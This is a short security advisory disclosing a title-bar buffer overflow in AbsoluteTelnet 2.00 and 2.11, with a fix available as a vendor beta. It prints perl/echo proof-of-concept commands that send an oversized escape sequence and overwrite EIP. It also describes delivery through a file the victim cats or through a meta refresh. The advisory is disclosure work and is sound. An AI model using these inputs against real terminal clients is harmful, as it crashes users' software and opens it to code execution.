This advisory may be found at http://kokanins.homepage.dk/
This advisory may not be reproduced, in part or in full, unless this notice
is included.
This advisory was written by knud.
I. BACKGROUND
Celestial software's AbsoluteTelnet is "the ultimate terminal client,
it provides the most rock-solid emulations, the best security, and
the fastest throughput of all terminal clients, along with unrelenting
performance and stellar features"
More information about the application is available at
http://www.celestialsoftware.net/telnet/index.html
II. DESCRIPTION
Insufficient bounds checking in the code that sets the programs titlebar
leads to execution of arbitrary code.
The following will reproduce the problem/set EIP to 0x0:
export KNUD=`perl -e 'print "A" x 174'`
echo -ne "\033]0;$KNUD\007"
and the following will set EBP/EIP to 0x41414141, hence allowing the
execution of attacker-supplied code.
export KNUD=`perl -e 'print "A" x 296'`
echo -ne "\033]0;$KNUD\007"
III. ANALYSIS
A user able to entice the victim to 'cat' a file will be able to perform
this attack. AbsoluteTelnet may furthermore be selected as the "default
telnet client", which will enable an attacker to exploit this via amongst
other means, a meta refresh such as
.
Furthermore the ssh login/password is kept in plaintext in memory throughout
the entire session, which might enable the attacker to recover this as well.
IV. DETECTION
AbsoluteTelnet 2.00 is vulnerable.
AbsoluteTelnet 2.11 is vulnerable, but the buffer gets converted to unicode
before the register overwrite, which hinders exploitation a bit.
V. WORKAROUND
http://www.celestialsoftware.net/telnet/beta_software.html has an updated
beta version.
VI. VENDOR FIX
above
VII. CREDIT
Knud